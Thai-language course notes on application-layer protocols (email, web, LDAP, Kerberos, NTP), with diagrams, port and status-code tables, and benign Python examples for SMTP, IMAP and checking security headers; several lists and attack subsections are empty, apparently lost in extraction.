Application Layer Protocols - Email, Web, and Services

1. บทนำ: โปรโตคอลระดับ Application

Application Layer Protocols คือโปรโตคอลที่ทำงานอยู่บนชั้นสูงสุดของโมเดล OSI (ชั้นที่ 7) หรือชั้น Application ของโมเดล TCP/IP โปรโตคอลเหล่านี้กำหนดรูปแบบการสื่อสารระหว่างแอปพลิเคชันบนเครือข่าย เช่น การรับส่งอีเมล การเรียกดูเว็บไซต์ การยืนยันตัวตน และการซิงโครไนซ์เวลา

1.1 ความสำคัญด้านความปลอดภัย

โปรโตคอล Application Layer มีความสำคัญอย่างยิ่งในด้านความปลอดภัย เนื่องจาก:

1.2 ภาพรวมโปรโตคอลในสัปดาห์นี้

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#fe8019',
  'secondaryColor': '#3c3836',
  'tertiaryColor': '#504945',
  'background': '#1d2021',
  'mainBkg': '#282828',
  'nodeBorder': '#a89984',
  'clusterBkg': '#32302f',
  'titleColor': '#ebdbb2',
  'edgeLabelBackground': '#3c3836',
  'attributeBackgroundColorEven': '#282828',
  'attributeBackgroundColorOdd': '#32302f'
}}}%%
mindmap
  root((Application Layer\nProtocols))
    Email
      SMTP (Port 25/587)
      POP3 (Port 110/995)
      IMAP (Port 143/993)
    Web
      HTTP (Port 80)
      HTTPS (Port 443)
    Directory
      LDAP (Port 389/636)
      Kerberos (Port 88)
    Time
      NTP (Port 123)
      SNTP
    Tools
      NetCat (nc)
      RDP (Port 3389)

2. Email Protocols

Email Protocols คือชุดโปรโตคอลที่ใช้สำหรับการรับส่งและจัดการอีเมล ระบบอีเมลประกอบด้วยองค์ประกอบหลัก 3 ส่วน:

2.1 SMTP (Simple Mail Transfer Protocol)

SMTP คือโปรโตคอลมาตรฐานสำหรับ การส่งอีเมล (outgoing mail) ระหว่าง Mail Servers และจาก Mail Client ไปยัง Mail Server ถูกกำหนดในมาตรฐาน RFC 5321

2.1.1 พอร์ตและการเข้ารหัส

พอร์ต การใช้งาน การเข้ารหัส
25 MTA-to-MTA (ระหว่าง server) ไม่เข้ารหัส (STARTTLS ได้)
465 SMTP over SSL/TLS (เลิกใช้) SSL/TLS ทันที
587 Mail Submission (client ส่ง) STARTTLS

2.1.2 กระบวนการส่งอีเมล SMTP

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#fe8019',
  'secondaryColor': '#3c3836',
  'tertiaryColor': '#504945',
  'background': '#1d2021',
  'mainBkg': '#282828',
  'nodeBorder': '#d79921',
  'clusterBkg': '#32302f',
  'titleColor': '#fabd2f'
}}}%%
sequenceDiagram
    participant C as Client (MUA) - ไคลเอนต์
    participant S as SMTP Server - เซิร์ฟเวอร์ส่ง
    participant R as Recipient Server - เซิร์ฟเวอร์รับ

    C->>S: Connect TCP Port 587
    S-->>C: 220 smtp.example.com Ready
    C->>S: EHLO mail.sender.com
    S-->>C: 250-OK + Capabilities
    C->>S: AUTH LOGIN (ยืนยันตัวตน)
    S-->>C: 235 Authentication OK
    C->>S: MAIL FROM: sender@example.com
    S-->>C: 250 OK
    C->>S: RCPT TO: recipient@other.com
    S-->>C: 250 OK
    C->>S: DATA (ส่งเนื้อหาอีเมล)
    S-->>C: 354 Start input, end with .
    C->>S: [Headers + Body + .]
    S-->>C: 250 Message queued
    C->>S: QUIT
    S-->>C: 221 Bye
    S->>R: Forward to recipient's MTA

2.1.3 SMTP Commands และ Response Codes

SMTP ใช้คำสั่งข้อความธรรมดา (plaintext commands) ในการสื่อสาร:

คำสั่งหลักของ SMTP:

Response Codes ที่สำคัญ:

Code ความหมาย
220 บริการพร้อมใช้งาน
250 คำสั่งสำเร็จ
354 เริ่มส่ง DATA ได้
421 บริการไม่พร้อม (ชั่วคราว)
550 Mailbox ไม่พบหรือปฏิเสธ
552 พื้นที่ mailbox เต็ม

2.1.4 ความปลอดภัยของ SMTP

ปัญหาความปลอดภัย:

มาตรการป้องกัน:

"""
โปรแกรมส่งอีเมลผ่าน SMTP พร้อม TLS
ตัวอย่างการใช้งาน smtplib ใน Python
"""

import smtplib
import ssl
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os


def send_secure_email(
    sender_email: str,
    sender_password: str,
    recipient_email: str,
    subject: str,
    body: str,
    smtp_server: str = "smtp.gmail.com",
    smtp_port: int = 587
) -> bool:
    """
    ส่งอีเมลผ่าน SMTP พร้อม STARTTLS encryption
    
    พารามิเตอร์:
        sender_email    -- อีเมลผู้ส่ง
        sender_password -- รหัสผ่าน (ควรใช้ App Password)
        recipient_email -- อีเมลผู้รับ
        subject         -- หัวข้ออีเมล
        body            -- เนื้อหาอีเมล
        smtp_server     -- ที่อยู่ SMTP server
        smtp_port       -- พอร์ต SMTP (587 สำหรับ STARTTLS)
    
    คืนค่า:
        True หากส่งสำเร็จ, False หากเกิดข้อผิดพลาด
    """
    # สร้าง message object
    message = MIMEMultipart("alternative")
    message["Subject"] = subject
    message["From"] = sender_email
    message["To"] = recipient_email
    
    # เพิ่มเนื้อหา HTML และ plain text
    part_text = MIMEText(body, "plain", "utf-8")
    part_html = MIMEText(f"<html><body><p>{body}</p></body></html>", "html", "utf-8")
    
    message.attach(part_text)
    message.attach(part_html)
    
    # สร้าง SSL context สำหรับความปลอดภัย
    context = ssl.create_default_context()
    
    try:
        # เชื่อมต่อ SMTP server
        with smtplib.SMTP(smtp_server, smtp_port) as server:
            server.set_debuglevel(1)          # เปิด debug mode
            server.ehlo()                      # แนะนำตัวกับ server
            server.starttls(context=context)   # อัพเกรดเป็น TLS
            server.ehlo()                      # แนะนำตัวอีกครั้งหลัง TLS
            server.login(sender_email, sender_password)  # ล็อกอิน
            
            # ส่งอีเมล
            server.sendmail(
                sender_email,
                recipient_email,
                message.as_string()
            )
            print(f"✓ ส่งอีเมลถึง {recipient_email} สำเร็จ")
            return True
            
    except smtplib.SMTPAuthenticationError:
        print("✗ ข้อผิดพลาด: รหัสผ่านไม่ถูกต้อง")
    except smtplib.SMTPRecipientsRefused:
        print(f"✗ ข้อผิดพลาด: ผู้รับ {recipient_email} ถูกปฏิเสธ")
    except smtplib.SMTPException as e:
        print(f"✗ ข้อผิดพลาด SMTP: {e}")
    
    return False


# ตัวอย่างการใช้งาน
if __name__ == "__main__":
    # ข้อมูลทดสอบ (ใช้ environment variables ในงานจริง)
    SENDER = "your_email@gmail.com"
    PASSWORD = os.environ.get("EMAIL_PASSWORD", "your_app_password")
    RECIPIENT = "recipient@example.com"
    
    result = send_secure_email(
        sender_email=SENDER,
        sender_password=PASSWORD,
        recipient_email=RECIPIENT,
        subject="ทดสอบส่งอีเมลด้วย Python SMTP",
        body="สวัสดี! นี่คืออีเมลทดสอบจาก Python smtplib"
    )
    
    print(f"ผลลัพธ์: {'สำเร็จ' if result else 'ล้มเหลว'}")

2.2 POP3 และ POP3S (Post Office Protocol Version 3)

POP3 คือโปรโตคอลสำหรับ ดึงอีเมล จาก Mail Server มายังเครื่องของผู้ใช้ กำหนดในมาตรฐาน RFC 1939 โดยหลักการทำงานคือ ดาวน์โหลดแล้วลบออกจาก server

2.2.1 คุณสมบัติของ POP3

2.2.2 POP3 Session

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#b8bb26',
  'secondaryColor': '#3c3836',
  'clusterBkg': '#32302f',
  'titleColor': '#b8bb26'
}}}%%
sequenceDiagram
    participant C as Client (MUA)
ไคลเอนต์ participant S as POP3 Server
(Port 110/995) C->>S: TCP Connect Port 110 S-->>C: +OK POP3 server ready C->>S: USER username S-->>C: +OK C->>S: PASS password S-->>C: +OK Mailbox locked and ready (3 messages) C->>S: STAT (ดูสถิติ mailbox) S-->>C: +OK 3 120000 (3 messages, 120KB) C->>S: LIST (รายการอีเมล) S-->>C: +OK 3 messages
1 40000
2 50000
3 30000 C->>S: RETR 1 (ดาวน์โหลดอีเมลที่ 1) S-->>C: +OK [message content] C->>S: DELE 1 (ลบอีเมลที่ 1) S-->>C: +OK Deleted C->>S: QUIT (ยืนยันการลบและออก) S-->>C: +OK POP3 server signing off

2.2.3 POP3S (POP3 over SSL/TLS)

POP3S คือ POP3 ที่เพิ่มการเข้ารหัสด้วย SSL/TLS:

โปรโตคอล พอร์ต การเข้ารหัส
POP3 110 ไม่มีการเข้ารหัส
POP3S 995 SSL/TLS ทันทีตั้งแต่เชื่อมต่อ
POP3 + STARTTLS 110 อัพเกรดเป็น TLS ระหว่าง session

2.3 IMAP และ IMAPS (Internet Message Access Protocol)

IMAP คือโปรโตคอลที่ทันสมัยกว่า POP3 สำหรับการจัดการอีเมลบน server โดยตรง กำหนดในมาตรฐาน RFC 3501 (IMAP4rev1) และ RFC 9051 (IMAP4rev2)

2.3.1 คุณสมบัติสำคัญของ IMAP

2.3.2 IMAP Flags ที่สำคัญ

Flag ความหมาย
\Seen อ่านแล้ว
\Answered ตอบกลับแล้ว
\Flagged ทำเครื่องหมายสำคัญ
\Deleted กำหนดให้ลบ (ยังไม่ลบจริง)
\Draft ร่างอีเมล
\Recent ข้อความใหม่ใน session นี้
"""
โปรแกรมจัดการอีเมลผ่าน IMAP
แสดงการเชื่อมต่อ, ค้นหา และอ่านอีเมล
"""

import imaplib
import email
from email.header import decode_header
import ssl
from datetime import datetime, timedelta


class IMAPEmailManager:
    """
    จัดการอีเมลผ่าน IMAP4 พร้อม SSL
    รองรับการค้นหา อ่าน และจัดการ folders
    """
    
    def __init__(self, host: str, port: int = 993):
        """
        เริ่มต้น IMAP manager
        
        พารามิเตอร์:
            host -- hostname ของ IMAP server
            port -- พอร์ต (993 สำหรับ IMAPS)
        """
        self.host = host
        self.port = port
        self.imap = None
        
    def connect(self, username: str, password: str) -> bool:
        """
        เชื่อมต่อและล็อกอิน IMAP server ด้วย SSL
        
        คืนค่า True หากสำเร็จ
        """
        try:
            # สร้าง SSL context
            context = ssl.create_default_context()
            
            # เชื่อมต่อ IMAP4 over SSL
            self.imap = imaplib.IMAP4_SSL(
                self.host,
                self.port,
                ssl_context=context
            )
            
            # ล็อกอิน
            status, response = self.imap.login(username, password)
            if status == "OK":
                print(f"✓ เชื่อมต่อ {self.host} สำเร็จ")
                return True
        except imaplib.IMAP4.error as e:
            print(f"✗ IMAP Error: {e}")
        return False
    
    def list_folders(self) -> list:
        """
        แสดงรายการโฟลเดอร์ทั้งหมดใน mailbox
        
        คืนค่า: รายการชื่อโฟลเดอร์
        """
        folders = []
        status, folder_list = self.imap.list()
        
        if status == "OK":
            for folder_info in folder_list:
                # แยกชื่อโฟลเดอร์จาก response
                folder_name = folder_info.decode().split('"')[-2]
                folders.append(folder_name)
                print(f"  📁 {folder_name}")
        
        return folders
    
    def get_recent_emails(
        self,
        folder: str = "INBOX",
        days_back: int = 7,
        max_count: int = 10
    ) -> list:
        """
        ดึงอีเมลล่าสุดจากโฟลเดอร์ที่กำหนด
        
        พารามิเตอร์:
            folder    -- ชื่อโฟลเดอร์ (default: INBOX)
            days_back -- จำนวนวันย้อนหลัง
            max_count -- จำนวนอีเมลสูงสุด
        
        คืนค่า: รายการข้อมูลอีเมล
        """
        # เลือกโฟลเดอร์
        self.imap.select(folder)
        
        # กำหนดวันที่ค้นหา
        since_date = (datetime.now() - timedelta(days=days_back))
        date_str = since_date.strftime("%d-%b-%Y")
        
        # ค้นหาอีเมล (IMAP Search syntax)
        status, message_ids = self.imap.search(
            None,
            f'(SINCE "{date_str}")'
        )
        
        emails = []
        if status == "OK":
            # ดึงอีเมลล่าสุดตาม max_count
            ids = message_ids[0].split()[-max_count:]
            
            for msg_id in ids:
                # ดาวน์โหลดเฉพาะ header (ประหยัด bandwidth)
                status, msg_data = self.imap.fetch(
                    msg_id,
                    "(BODY[HEADER.FIELDS (FROM SUBJECT DATE)])"
                )
                
                if status == "OK":
                    raw_email = msg_data[0][1]
                    msg = email.message_from_bytes(raw_email)
                    
                    # Decode subject
                    subject, encoding = decode_header(msg["Subject"])[0]
                    if isinstance(subject, bytes):
                        subject = subject.decode(encoding or "utf-8")
                    
                    emails.append({
                        "id": msg_id.decode(),
                        "from": msg["From"],
                        "subject": subject,
                        "date": msg["Date"]
                    })
        
        return emails
    
    def disconnect(self):
        """ปิดการเชื่อมต่อ IMAP"""
        if self.imap:
            self.imap.close()
            self.imap.logout()
            print("✓ ยกเลิกการเชื่อมต่อแล้ว")


# ตัวอย่างการใช้งาน
if __name__ == "__main__":
    manager = IMAPEmailManager("imap.gmail.com", 993)
    
    if manager.connect("user@gmail.com", "app_password"):
        print("\nโฟลเดอร์ทั้งหมด:")
        manager.list_folders()
        
        print("\nอีเมลล่าสุด 7 วัน:")
        emails = manager.get_recent_emails(days_back=7, max_count=5)
        
        for i, mail in enumerate(emails, 1):
            print(f"\n{i}. จาก: {mail['from']}")
            print(f"   หัวข้อ: {mail['subject']}")
            print(f"   วันที่: {mail['date']}")
        
        manager.disconnect()

2.4 การเปรียบเทียบโปรโตคอล Email

2.4.1 ตารางเปรียบเทียบ POP3 vs IMAP

คุณสมบัติ POP3 IMAP
RFC RFC 1939 RFC 3501, 9051
พอร์ตปกติ 110 143
พอร์ต Secure 995 (POP3S) 993 (IMAPS)
การเก็บอีเมล เครื่อง client Server
Multi-device ไม่รองรับ รองรับ
Folder Management ไม่มี มี
Search บน Server ไม่มี มี
Bandwidth ดาวน์โหลดทั้งหมด ดาวน์โหลดเฉพาะที่ต้องการ
เหมาะกับ อุปกรณ์เดียว, offline หลายอุปกรณ์, always-online

2.4.2 การไหลของอีเมลทั้งระบบ

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#fe8019',
  'secondaryColor': '#3c3836',
  'tertiaryColor': '#504945',
  'clusterBkg': '#32302f',
  'titleColor': '#fabd2f'
}}}%%
flowchart LR
    subgraph sender["ผู้ส่ง (Sender Domain)"]
        MUA1["📧 Mail Client\n(MUA)\nOutlook/Thunderbird"]
        MTA1["📤 Mail Server\n(MTA)\nPostfix/Sendmail"]
    end

    subgraph internet["อินเทอร์เน็ต"]
        DNS["🌐 DNS\nMX Record Lookup"]
    end

    subgraph receiver["ผู้รับ (Receiver Domain)"]
        MTA2["📥 Mail Server\n(MTA)"]
        MDA["📦 Mail Delivery\n(MDA/Mailbox)"]
        MUA2["📧 Mail Client\n(MUA)"]
    end

    MUA1 -->|"SMTP\nPort 587"| MTA1
    MTA1 -->|"Query MX"| DNS
    DNS -->|"Return MX Record"| MTA1
    MTA1 -->|"SMTP Port 25\n(TLS)"| MTA2
    MTA2 -->|"Local Delivery"| MDA
    MUA2 -->|"POP3(S) Port 110/995\nIMAP(S) Port 143/993"| MDA

    style MUA1 fill:#458588,stroke:#83a598,color:#ebdbb2
    style MTA1 fill:#d79921,stroke:#fabd2f,color:#282828
    style DNS fill:#504945,stroke:#a89984,color:#ebdbb2
    style MTA2 fill:#d79921,stroke:#fabd2f,color:#282828
    style MDA fill:#98971a,stroke:#b8bb26,color:#282828
    style MUA2 fill:#458588,stroke:#83a598,color:#ebdbb2

3. Web Protocols

Web Protocols คือโปรโตคอลพื้นฐานของ World Wide Web ที่ใช้รับส่งข้อมูลระหว่าง Web Browser และ Web Server

3.1 HTTP (HyperText Transfer Protocol)

HTTP คือโปรโตคอลสำหรับการส่งข้อมูลบนเว็บ ทำงานบน TCP/IP กำหนดในมาตรฐาน RFC 7230-7235 (HTTP/1.1) และ RFC 7540 (HTTP/2)

3.1.1 วิวัฒนาการของ HTTP

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#fe8019',
  'secondaryColor': '#3c3836',
  'clusterBkg': '#32302f',
  'titleColor': '#fabd2f'
}}}%%
flowchart LR
    subgraph era1["ยุคแรก (Early Web)"]
        H09["HTTP/0.9\n1991\nเฉพาะ GET, HTML"]
        H10["HTTP/1.0\n1996\nHeaders, Status Codes"]
    end

    subgraph era2["ยุค Modern (Modern Web)"]
        H11["HTTP/1.1\n1997-ปัจจุบัน\nPersistent Connection\nHost Header"]
        H2["HTTP/2\n2015\nMultiplexing\nHeader Compression\nServer Push"]
    end

    subgraph era3["ยุค Future (QUIC Era)"]
        H3["HTTP/3\n2022\nQUIC over UDP\nLow Latency\nBuilt-in Encryption"]
    end

    H09 --> H10 --> H11 --> H2 --> H3

    style H09 fill:#504945,stroke:#a89984,color:#ebdbb2
    style H10 fill:#504945,stroke:#a89984,color:#ebdbb2
    style H11 fill:#458588,stroke:#83a598,color:#ebdbb2
    style H2 fill:#d79921,stroke:#fabd2f,color:#282828
    style H3 fill:#98971a,stroke:#b8bb26,color:#282828

3.1.2 HTTP Methods (HTTP Verbs)

Method ความหมาย Idempotent Safe
GET ดึงข้อมูล
POST ส่งข้อมูลสร้างใหม่
PUT แทนที่ข้อมูล
PATCH แก้ไขบางส่วน
DELETE ลบข้อมูล
HEAD ดึงเฉพาะ Header
OPTIONS สอบถามความสามารถ

3.1.3 HTTP Status Codes

ช่วง หมวดหมู่ ตัวอย่าง
1xx Informational 100 Continue
2xx Success 200 OK, 201 Created
3xx Redirection 301 Moved Permanently, 302 Found
4xx Client Error 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found
5xx Server Error 500 Internal Server Error, 503 Service Unavailable

3.1.4 โครงสร้าง HTTP Request และ Response

HTTP Request:

GET /api/users?page=1 HTTP/1.1
Host: api.example.com
User-Agent: Mozilla/5.0 (Linux; x86_64)
Accept: application/json
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9...
Connection: keep-alive

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 256
Cache-Control: max-age=3600
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000

{"users": [...], "total": 100, "page": 1}

3.2 HTTPS (HTTP Secure)

HTTPS คือ HTTP ที่เพิ่มการเข้ารหัสด้วย TLS (Transport Layer Security) ทำงานบนพอร์ต 443 โดยปกติ

3.2.1 TLS Handshake Process

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#83a598',
  'secondaryColor': '#3c3836',
  'clusterBkg': '#32302f',
  'titleColor': '#83a598'
}}}%%
sequenceDiagram
    participant B as Browser (Client)
เบราว์เซอร์ participant S as Web Server
เว็บเซิร์ฟเวอร์ Note over B,S: 1. TCP Handshake (SYN, SYN-ACK, ACK) B->>S: ClientHello
(TLS version, Cipher Suites, Random) S-->>B: ServerHello
(Selected Cipher, Random) S-->>B: Certificate
(X.509, Public Key) S-->>B: ServerHelloDone Note over B: ตรวจสอบ Certificate
กับ CA Root Store B->>S: ClientKeyExchange
(Pre-master Secret เข้ารหัสด้วย Public Key) Note over B,S: ทั้งสองฝ่ายสร้าง Session Key
จาก Pre-master Secret + Randoms B->>S: ChangeCipherSpec (เปลี่ยนเป็น Encrypted) B->>S: Finished (Encrypted) S-->>B: ChangeCipherSpec S-->>B: Finished (Encrypted) Note over B,S: 2. HTTP Data Transfer
(เข้ารหัสด้วย Session Key) B->>S: GET / HTTP/1.1 [Encrypted] S-->>B: 200 OK [Encrypted]

3.2.2 การคำนวณ TLS Session Key

การสร้าง Master Secret ใน TLS 1.2 คำนวณดังนี้:

master_secret = PRF ( pre_master_secret , "master secret" , ClientRandom + ServerRandom )

อธิบายตัวแปร:

ตัวอย่างการคำนวณ (แบบง่าย):

สมมติ:

master_secret = HMAC-SHA256 ( 0x1A2B3C4D , "master secret" 0xAABBCC 0xDDEEFF ) = 48 bytes

จาก Master Secret จะนำมาสร้าง Key Material เพิ่มเติม:

3.2.3 HTTP Security Headers

Security Headers คือ HTTP Response Headers ที่ช่วยเพิ่มความปลอดภัย:

Header วัตถุประสงค์ ตัวอย่างค่า
Strict-Transport-Security บังคับ HTTPS max-age=31536000; includeSubDomains
Content-Security-Policy ป้องกัน XSS default-src 'self'; script-src 'self'
X-Content-Type-Options ป้องกัน MIME sniffing nosniff
X-Frame-Options ป้องกัน Clickjacking DENY หรือ SAMEORIGIN
Referrer-Policy ควบคุม Referrer strict-origin-when-cross-origin
Permissions-Policy ควบคุมฟีเจอร์ browser geolocation=(), camera=()
"""
ทดสอบ HTTP/HTTPS และตรวจสอบ Security Headers
ใช้ requests library วิเคราะห์การตอบสนองของเว็บเซิร์ฟเวอร์
"""

import requests
import ssl
import socket
from urllib.parse import urlparse


# Security headers ที่ควรมี
SECURITY_HEADERS = {
    "Strict-Transport-Security": "ป้องกันการ downgrade เป็น HTTP",
    "Content-Security-Policy": "ป้องกัน XSS และ data injection",
    "X-Content-Type-Options": "ป้องกัน MIME type sniffing",
    "X-Frame-Options": "ป้องกัน Clickjacking",
    "Referrer-Policy": "ควบคุมข้อมูล Referrer",
    "Permissions-Policy": "ควบคุม Browser API permissions",
}


def check_https_security(url: str) -> dict:
    """
    ตรวจสอบความปลอดภัยของเว็บไซต์
    
    พารามิเตอร์:
        url -- URL ที่ต้องการตรวจสอบ (https://...)
    
    คืนค่า:
        dict ผลการตรวจสอบ
    """
    results = {
        "url": url,
        "tls_version": None,
        "cipher": None,
        "status_code": None,
        "security_headers": {},
        "missing_headers": [],
        "score": 0
    }
    
    try:
        # ส่ง HTTP Request
        response = requests.get(
            url,
            timeout=10,
            verify=True,          # ตรวจสอบ SSL certificate
            allow_redirects=True  # ติดตาม redirect
        )
        
        results["status_code"] = response.status_code
        results["final_url"] = response.url
        
        # ตรวจสอบ Security Headers
        for header, description in SECURITY_HEADERS.items():
            if header in response.headers:
                results["security_headers"][header] = {
                    "present": True,
                    "value": response.headers[header],
                    "description": description
                }
                results["score"] += 1
            else:
                results["security_headers"][header] = {
                    "present": False,
                    "description": description
                }
                results["missing_headers"].append(header)
        
        # ตรวจสอบ TLS version
        parsed = urlparse(url)
        context = ssl.create_default_context()
        
        with socket.create_connection((parsed.hostname, 443)) as sock:
            with context.wrap_socket(sock, server_hostname=parsed.hostname) as ssock:
                results["tls_version"] = ssock.version()
                results["cipher"] = ssock.cipher()[0]
        
    except requests.exceptions.SSLError as e:
        results["error"] = f"SSL Error: {e}"
    except requests.exceptions.ConnectionError as e:
        results["error"] = f"Connection Error: {e}"
    
    return results


def print_security_report(results: dict):
    """แสดงรายงานความปลอดภัย"""
    print(f"\n{'='*60}")
    print(f"รายงานความปลอดภัย: {results['url']}")
    print(f"{'='*60}")
    
    print(f"\nข้อมูลการเชื่อมต่อ:")
    print(f"  Status Code: {results.get('status_code', 'N/A')}")
    print(f"  TLS Version: {results.get('tls_version', 'N/A')}")
    print(f"  Cipher Suite: {results.get('cipher', 'N/A')}")
    
    print(f"\nSecurity Headers ({results['score']}/{len(SECURITY_HEADERS)} ผ่าน):")
    for header, info in results["security_headers"].items():
        status = "✓" if info["present"] else "✗"
        value = info.get("value", "ไม่มี")
        print(f"  {status} {header}: {value[:50] if value != 'ไม่มี' else 'ไม่มี'}")
    
    if results["missing_headers"]:
        print(f"\n⚠ Headers ที่ขาดหาย:")
        for h in results["missing_headers"]:
            print(f"  - {h}: {SECURITY_HEADERS[h]}")
    
    # คะแนน
    score_pct = (results["score"] / len(SECURITY_HEADERS)) * 100
    grade = "A" if score_pct >= 90 else "B" if score_pct >= 70 else "C" if score_pct >= 50 else "D"
    print(f"\nคะแนน: {score_pct:.0f}% (เกรด {grade})")


# ตัวอย่างการใช้งาน
if __name__ == "__main__":
    test_urls = [
        "https://www.google.com",
        "https://github.com",
    ]
    
    for url in test_urls:
        results = check_https_security(url)
        print_security_report(results)

4. Directory Services

Directory Services คือบริการฐานข้อมูลแบบลำดับชั้น (hierarchical database) ที่จัดเก็บและจัดการข้อมูลผู้ใช้ ทรัพยากร และนโยบายในองค์กร

4.1 LDAP (Lightweight Directory Access Protocol)

LDAP คือโปรโตคอลมาตรฐานสำหรับการเข้าถึงและจัดการ Directory Services กำหนดใน RFC 4511 ใช้กันอย่างแพร่หลายใน Active Directory ของ Microsoft และ OpenLDAP

4.1.1 โครงสร้าง LDAP Directory

LDAP จัดเก็บข้อมูลเป็น ต้นไม้ (Directory Information Tree - DIT):

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#fe8019',
  'secondaryColor': '#3c3836',
  'clusterBkg': '#32302f',
  'titleColor': '#fabd2f'
}}}%%
graph TD
    ROOT["🌐 dc=example,dc=com\n(Domain Root)"]
    
    OU_USERS["ou=Users\n(หน่วยองค์กร: ผู้ใช้)"]
    OU_GROUPS["ou=Groups\n(หน่วยองค์กร: กลุ่ม)"]
    OU_COMPUTERS["ou=Computers\n(หน่วยองค์กร: คอมพิวเตอร์)"]
    
    USER1["cn=Alice Smith\nuid=alice\nmail=alice@example.com"]
    USER2["cn=Bob Jones\nuid=bob\nmail=bob@example.com"]
    
    GROUP1["cn=Admins\nmemberOf: alice,bob"]
    GROUP2["cn=Developers\nmemberOf: alice"]
    
    COMP1["cn=WORKSTATION-01\nos=Ubuntu 22.04"]

    ROOT --> OU_USERS
    ROOT --> OU_GROUPS
    ROOT --> OU_COMPUTERS
    OU_USERS --> USER1
    OU_USERS --> USER2
    OU_GROUPS --> GROUP1
    OU_GROUPS --> GROUP2
    OU_COMPUTERS --> COMP1

    style ROOT fill:#cc241d,stroke:#fb4934,color:#ebdbb2
    style OU_USERS fill:#458588,stroke:#83a598,color:#ebdbb2
    style OU_GROUPS fill:#458588,stroke:#83a598,color:#ebdbb2
    style OU_COMPUTERS fill:#458588,stroke:#83a598,color:#ebdbb2
    style USER1 fill:#3c3836,stroke:#a89984,color:#ebdbb2
    style USER2 fill:#3c3836,stroke:#a89984,color:#ebdbb2
    style GROUP1 fill:#504945,stroke:#bdae93,color:#ebdbb2
    style GROUP2 fill:#504945,stroke:#bdae93,color:#ebdbb2
    style COMP1 fill:#3c3836,stroke:#a89984,color:#ebdbb2

4.1.2 LDAP Distinguished Name (DN)

DN (Distinguished Name) คือชื่อเต็มที่ระบุตำแหน่งของ entry ในต้นไม้ LDAP:

cn=Alice Smith,ou=Users,dc=example,dc=com

องค์ประกอบ DN:

Attribute ความหมาย ตัวอย่าง
dc Domain Component dc=example,dc=com
ou Organizational Unit ou=Users
cn Common Name cn=Alice Smith
uid User ID uid=alice
o Organization o=Example Corp
l Locality (City) l=Bangkok
c Country c=TH

4.1.3 LDAP Operations

LDAP รองรับการดำเนินงานหลัก:

4.1.4 LDAP Search Filter

# ค้นหาผู้ใช้ทุกคนที่มีอีเมล
(mail=*)

# ค้นหาผู้ใช้ชื่อ alice
(uid=alice)

# ค้นหาผู้ใช้ใน department IT
(departmentNumber=IT)

# AND filter: ผู้ใช้ที่เป็น admin และ active
(&(memberOf=cn=Admins,ou=Groups,dc=example,dc=com)(accountStatus=active))

# OR filter: ผู้ใช้ที่ชื่อ alice หรือ bob
(|(uid=alice)(uid=bob))

# NOT filter: ผู้ใช้ที่ไม่ใช่ disabled
(!(accountStatus=disabled))

4.1.5 ความปลอดภัยของ LDAP

โปรโตคอล พอร์ต ความปลอดภัย
LDAP 389 ไม่เข้ารหัส
LDAP + STARTTLS 389 อัพเกรดเป็น TLS
LDAPS (LDAP over SSL) 636 เข้ารหัสตั้งแต่ต้น

การโจมตีที่พบบ่อย:


4.2 Kerberos Authentication

Kerberos คือโปรโตคอลการยืนยันตัวตนแบบ Third-party Authentication ที่ใช้ Tickets แทนการส่งรหัสผ่านผ่านเครือข่าย พัฒนาโดย MIT กำหนดใน RFC 4120

4.2.1 องค์ประกอบของ Kerberos

4.2.2 กระบวนการยืนยันตัวตน Kerberos

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#8ec07c',
  'secondaryColor': '#3c3836',
  'clusterBkg': '#32302f',
  'titleColor': '#8ec07c'
}}}%%
sequenceDiagram
    participant C as Client
ผู้ใช้ participant AS as AS
(Authentication Server) participant TGS as TGS
(Ticket Granting Server) participant SS as Service Server
เซิร์ฟเวอร์บริการ Note over C,AS: ขั้นที่ 1: ขอ TGT (Ticket Granting Ticket) C->>AS: AS_REQ: Username + Timestamp
(เข้ารหัสด้วย Client Secret Key) AS-->>C: AS_REP: TGT + Session Key
(TGT เข้ารหัสด้วย TGS Key)
(Session Key เข้ารหัสด้วย Client Key) Note over C,TGS: ขั้นที่ 2: ขอ Service Ticket C->>TGS: TGS_REQ: TGT + Authenticator
(ระบุบริการที่ต้องการ) TGS-->>C: TGS_REP: Service Ticket + Service Session Key Note over C,SS: ขั้นที่ 3: เข้าถึงบริการ C->>SS: AP_REQ: Service Ticket + Authenticator SS-->>C: AP_REP: Confirmation
(ยืนยัน Server Identity - Optional) Note over C,SS: 4. ใช้บริการได้โดยไม่ต้องส่งรหัสผ่านซ้ำ

4.2.3 ความปลอดภัยของ Kerberos

จุดแข็ง:

การโจมตีที่พบบ่อย:


5. Time Synchronization

Time Synchronization คือกระบวนการซิงโครไนซ์นาฬิกาของอุปกรณ์บนเครือข่ายให้ตรงกัน ความสำคัญด้านความปลอดภัย:

5.1 NTP (Network Time Protocol)

NTP คือโปรโตคอลสำหรับซิงโครไนซ์นาฬิกาผ่านเครือข่าย IP กำหนดใน RFC 5905 ทำงานบน UDP พอร์ต 123

